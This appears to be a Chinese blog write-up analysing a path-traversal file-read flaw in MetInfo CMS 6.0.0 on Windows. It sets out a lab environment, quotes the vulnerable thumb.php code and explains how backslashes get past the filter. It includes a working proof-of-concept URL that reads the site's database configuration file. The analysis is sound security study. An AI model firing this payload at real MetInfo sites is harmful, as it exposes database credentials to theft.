环境:
OS:windows server 2016
WEB SERVER:PHPStudy pro
CMS:MetInfo6.0.0
PHP版本:php5.3.29
环境搭建:
下载metinfo6.0.0源码包
解压源码包并且初始化网站

漏洞点:
/include/thumb.php

POC
/include/thumb.php?dir=http\..\..\config\config_db.php

注意:该POC仅在windows环境中生效
代码审计
打开源码包,找到app/system/include/module/old_thumb.class.php
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
接收到了get提交的参数dir,并且将字符../和./进行了替换
在if语句中,又将检查字符串的前4个字符是否等于http且是否包含./字符,如果是,则返回false
所以我们在payload中使用..\字符串用来避开检测,这也就是为什么只能在windows服务器生效的原因

1256

被折叠的 条评论
为什么被折叠?



